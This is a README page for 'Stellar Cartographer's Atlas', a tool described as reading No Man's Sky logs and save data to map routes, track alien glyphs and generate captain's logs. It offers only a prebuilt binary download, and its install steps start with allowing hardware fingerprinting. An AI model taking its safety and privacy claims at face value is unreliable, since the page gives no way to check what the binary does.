preview Download

A Companion Intelligence Engine for Explorers of the Infinite Expanse

Welcome to the Stellar Cartographer's Atlas — not merely a tool, but a philosophical companion for those who traverse the boundless, procedurally generated universes of modern spacefaring simulations. While inspired by the vastness of the No Man's Sky cosmos, this project is a standalone architecture designed to parse, interpret, and enrich your exploratory data streams. It is a cartographer's quill, a navigator's compass, and a xenolinguist's dictionary, all housed in a single, elegant C++ codebase.

🌌 The Genesis: Why Another Star Atlas?

We live in an era of digital infinity. We can fly to the edge of a galaxy, but we often lose the memory of where we started. We discover a paradise planet, but forget its coordinates for our friends. We catalog flora, fauna, and minerals, yet the sheer volume of data overwhelms our human memory.

The Stellar Cartographer's Atlas is born from a simple, profound question: What if your exploration history could write its own mythology?

It is not a memory editor (that is a different tool entirely). It is a secondary memory — an external hippocampus for your interstellar journey. It reads your travel logs, telemetry data, and discovery databases, then synthesizes them into a coherent, searchable, and beautiful narrative of your journey. It allows you to visualize your invisible footprint on the spatial fabric of the universe.

🧭 Core Functionality: The Tri-Scopic Lens

The Atlas operates on three distinct layers of data interpretation:

1. The Cartographic Layer (Spatial Intelligence) 🗺️

This module decodes raw positional data and instance identifiers. It doesn't just show you where you were; it analyzes the relationships between your visits.

  • Path Reconstruction: Rebuilds your exploration trails as vector graphics.
  • Proximity Analysis: Identifies "untouched" sectors within a certain radius of your known path, encouraging deeper dives.
  • Resource Discrepancy Matrix: Notes the variance in resource density across different star systems, helping you locate rare elemental concentrations without spoiling the surprise of discovery.

2. The Xenological Layer (Language & Life) 👾

Every procedurally generated alien language is a puzzle. This layer acts as a botanical guide to alien syntax.

  • Glyph Frequency Analyzer: Tracks the frequency of specific linguistic glyphs encountered in monoliths and plaques.
  • Translation Progression Tracker: Monitors your personal comprehension level for each alien race, offering a "weighted guess" algorithm based on your historical interactions.
  • Fauna Behavioral Index: A relational database that correlates creature behaviors (predatory, grazing, flying) with local weather patterns and terrain architecture.

3. The Existential Layer (Journey Narrative) 📖

This is the heart of the Atlas. It treats your exploration as a stream of consciousness to be composed.

  • Chronicle Generation: Automatically generates a text-based "Captain's Log" summarizing your last 10 jumps, focusing on unique anomalies.
  • Marginalia Engine: Allows you to attach custom annotations to specific planets, which are stored locally and encrypted for your eyes only.
  • Architecture Scanner: A non-intrusive scanner that analyzes the geometric signatures of buildings and monoliths to guess their intended cultural purpose (e.g., "spire for celestial observation"). It provides theories, not definite answers, keeping the mystery alive.

🔍 Key Features: The Craftsmanship Inside

  • Threaded Telemetry Intake ⚙️: The parser uses a thread pool to handle massive log files (up to 200MB) without freezing the UI. It processes chunks of data asynchronously, ensuring swift indexing.
  • Responsive Cosmological Architecture 📱: The interface is built on a detached rendering engine, meaning the frontend and backend communicate via event queues. It remains responsive even while the background is crunching historical data. The UI scales fluidly from desktop monitors to low-resolution portable screens.
  • Polyglot Universal Translator 🌐: The interface itself is entirely localized. Built-in multilingual support for English, French, Spanish, German, Japanese, Korean, and Simplified Chinese. The underlying data model remains language-agnostic, so switching locales never corrupts your journal data.
  • 24/7 Stellar Concierge 🛎️: While this is a local tool, the codebase is piped into a dedicated support bot that assists with build errors, data parsing issues, and feature requests. This is managed via our community server, ensuring that problems are addressed across different time zones. We treat user queries like distress signals — they are given priority.
  • Plugin Architecture for Interpreters 🧩: The Atlas isn't a closed book. It allows community developers to write custom "Data Interpreters" (in C++ or a Lua bridge) to handle unique save file structures or modded game variants.

🛸 Installation & Deployment Matrix

The Atlas is a compiled application. It is distributed as a standalone binary for Windows, Linux, and macOS. We do not rely on package managers for distribution; instead, we offer a "Snapshot Bundle."

To deploy the Atlas, you will:

  1. Allow the Visualizer Service to fingerprint your hardware.
  2. Place the provided atlas_engine binary into a directory of your choice.
  3. Run the binary with a standard command line argument pointing to your general game installation directory (it will search for specific subfolders automatically).
  4. Allow the application to create an asset folder in your user directory.

🗂️ Repository Structure: A Guided Tour

/
├─ source/               # The heart of the engine
│  ├─ core/           # Memory management and event loops
│  ├─ parsers/        # The data intake decoders
│  ├─ analysis/       # The logic for pattern recognition
│  └─ ui/             # The rendering layer and widgets
├─ localization/        # JSON files for all translations
├─ data/                # Static rules for glyph matching, etc.
├─ docs/                # API references and forum guides
├─ tests/               # Unit tests for the analysis engine
├─ CMakeLists.txt       # The build orchestration file
├─ LICENSE              # The MIT License text
└─ CONTRIBUTING.md      # How to join the exploration

🤝 Contribution Guidelines: Join the Expedition

We welcome explorers of all coding levels. If you can write C++20, or if you can translate languages, or if you just have a fantastic idea for a new analysis algorithm, we want you on the crew.

  • Fork the Nebula: Create a personal fork of the repository.
  • Chart a Course: Create a feature branch (git checkout -b feature/My-Stellar-Idea).
  • Set Your Beacon: Make your changes, documenting them clearly.
  • Return to Port: Submit a Pull Request with a detailed description of the modifications.

We review PRs for code quality, performance, and adherence to the "spirit of exploration" — meaning we prefer tools that augment curiosity rather than replace it.

This project is released under the MIT License. You are free to use, modify, and distribute this software, provided the original copyright notice is included.

See the LICENSE file for the full legal text.

⚠️ Disclaimer: The Edge of the Map

Important Notice: This software is an independent creation and is not affiliated with, endorsed by, or sponsored by Hello Games, the developer of No Man's Sky. This tool operates purely on the local telemetry and save data generated by the game. It reads user-owned data and does not modify core game binaries. It does not intercept network traffic or alter the gameplay experience for other players. Use of this tool is at the user's own discretion and responsibility. We encourage all users to respect the End User License Agreement (EULA) of the underlying simulation software. This project is for personal enrichment and data visualization purposes, not for cheating, circumventing progression systems, or creating unfair advantages in any multiplayer context.

📬 Contact & Constellation Observation

For bug reports, please use the "Issues" tab on this repository. For general questions, collaborative lore discussions, or to share your "Captain's Logs" generated by the Atlas, join our budding community of digital astrographers.

We look forward to seeing the universe through your eyes. Travel well. 🚀